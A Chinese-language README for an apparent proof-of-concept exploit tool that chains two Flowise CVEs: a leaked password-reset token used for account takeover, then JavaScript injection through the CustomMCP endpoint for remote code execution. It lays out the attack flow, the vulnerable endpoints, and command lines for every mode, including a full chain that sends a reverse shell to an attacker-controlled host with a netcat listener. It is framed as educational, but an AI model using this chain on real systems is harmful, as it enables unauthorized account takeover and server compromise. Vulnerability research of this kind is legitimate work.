FlowiseAI CVE-2025-58434 和 CVE-2025-59528 漏洞利用PoC,展示通过重置令牌泄露实现未认证的账户接管(ATO),接着是认证后的远程代码执行(RCE)。包含一个可复现的Docker实验环境。
⚠️ 仅供教育和授权的安全研究使用。 在未经拥有或缺少书面许可的系统上运行此工具是非法的。
本仓库包含一个 Python 概念验证,用于串联两个 Flowise 漏洞:
Flowise 是一个用于构建 LLM 应用和 AI 代理工作流的拖放式平台。CVE-2025-59528 影响 Flowise 3.0.5,并在 3.0.6 中修复。问题源于 CustomMCP 节点内对 mcpServerConfig 的不安全处理。CVE-2025-58434 与密码重置令牌暴露相关,同样在 Flowise 3.0.6 中修复。
该工具支持:
有问题的密码重置流程会在 API 响应中暴露敏感用户数据,包括临时密码重置令牌。攻击者如果知道有效用户邮箱地址,可以请求密码重置,从响应中获取临时令牌,然后用它为该账户设置新密码。
该问题影响 Flowise 云环境以及暴露相同 API 接口的自托管/本地部署。修复方法是永远不要在 API 响应中直接返回密码重置令牌或敏感账户重置数据。
该漏洞存在于 Flowise 的 CustomMCP 节点中。mcpServerConfig 参数作为 MCP 服务器配置过程的一部分被解析,并在没有任何安全验证的情况下作为 JavaScript 代码进行求值。这使得经过认证的攻击者能够注入任意 JavaScript 代码,这些代码会在 Flowise 服务器的 Node.js 环境中执行。在 convertToValidJSONString 函数中,用户输入被传递给 Function 构造函数,该构造函数将输入作为 JavaScript 代码进行求值,并拥有完整的 Node.js 权限,允许访问像 child_process 这样的模块来执行系统命令。
此 PoC 所利用的有漏洞端点:
POST /api/v1/node-load-method/customMCP
并在 JSON 体的 mcpServerConfig 字段中携带 JS 载荷,例如:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
有漏洞的代码位于 CustomMCP.ts 文件中,并在 GitHub 维护者对该 CVE 的安全公告 中被引用。
攻击者 Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ 用户对象 + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ 密码已更改 │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<构造的配置> │
│─────────────────────────────────────────►│
│ JS 在 Node.js 中被求值
│ 命令被执行
│◄─────────────────────────────────────────│
│ 命令输出或载荷触发 │
│ │
✓ 账户接管 + 认证后的 RCE
仓库结构
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 配置环境变量
docker-compose up -d
不带任何参数时,工具将运行完整的攻击链:检测目标漏洞,对提供的邮箱执行账户接管,登录获取 cookie,然后利用 RCE 漏洞并发送反弹 shell 载荷。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
执行版本检查以确定目标是否易受 CVE-2025-58434 和 CVE-2025-59528 的攻击。它会向目标的 API 发送请求并分析响应以识别 Flowise 版本和漏洞状态。
python3 exploit.py --target http://localhost:3000 check
执行 CVE-2025-58434 的账户接管流程。它会为指定邮箱发送密码重置请求,从响应中获取临时令牌,然后使用该令牌为账户设置新密码(默认:"Password123!")。
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
使用指定的邮箱和密码(默认:"Password123!")登录目标。如果成功,它将获取并显示认证 cookie(例如 connect.sid),用于认证后的请求。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
通过向有漏洞的端点发送构造的 mcpServerConfig 载荷来利用 RCE 漏洞(CVE-2025-59528)。该载荷旨在执行一个反弹 shell 命令,连接到攻击者机器上指定的 LHOST 和 LPORT。如果没有提供令牌,则会自动尝试登录并获取有效令牌进行利用。如果未提供 LHOST/LPORT,则默认为简单的 id 命令载荷,其输出将包含在响应中。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
默认模式。 按顺序运行整个攻击链:检测漏洞、执行账户接管、登录获取 cookie,然后利用 RCE 漏洞并发送反弹 shell 载荷。在执行完整链模式之前,请运行一个专用的监听器(例如 nc -lvnp 9889)。
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| 标志 | 描述 | 示例 |
|---|---|---|
-t, --target | 目标基础 URL | -t http://localhost:3000 |
-e, --email | 目标账户邮箱 | -e [email protected] |
--password | 已知密码(用于登录/RCE 模式) | --password Password123! |
--token | 现有会话令牌,跳过登录 | --token eyJ... |
--new-password | ATO 期间要设置的密码 | --new-password Password123! |
| 模式 | 描述 |
|---|---|
check | 检查目标是否看起来有漏洞 |
ato-mode | 仅运行账户接管流程 |
login-mode | 登录并获取会话 cookie |
rce-mode | 仅运行 RCE 流程 |
full-mode | 串联 ATO、登录和 RCE |
| 标志 | 描述 | 示例 |
|---|---|---|
-c, --command | 要执行的自定义命令 | -c 'id' |
--lhost | 反弹 shell 的监听器主机 | --lhost 10.10.14.3 |
--lport | 反弹 shell 的监听器端口 | --lport 4444 |
| 标志 | 描述 | 默认 |
|---|---|---|
--no-check | 跳过版本/漏洞检查 | False |
-v, --verbose | 启用调试日志 | False |
--log-file | 日志文件路径 | logs/exploit.log |
--no-color | 禁用 ANSI 颜色 | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode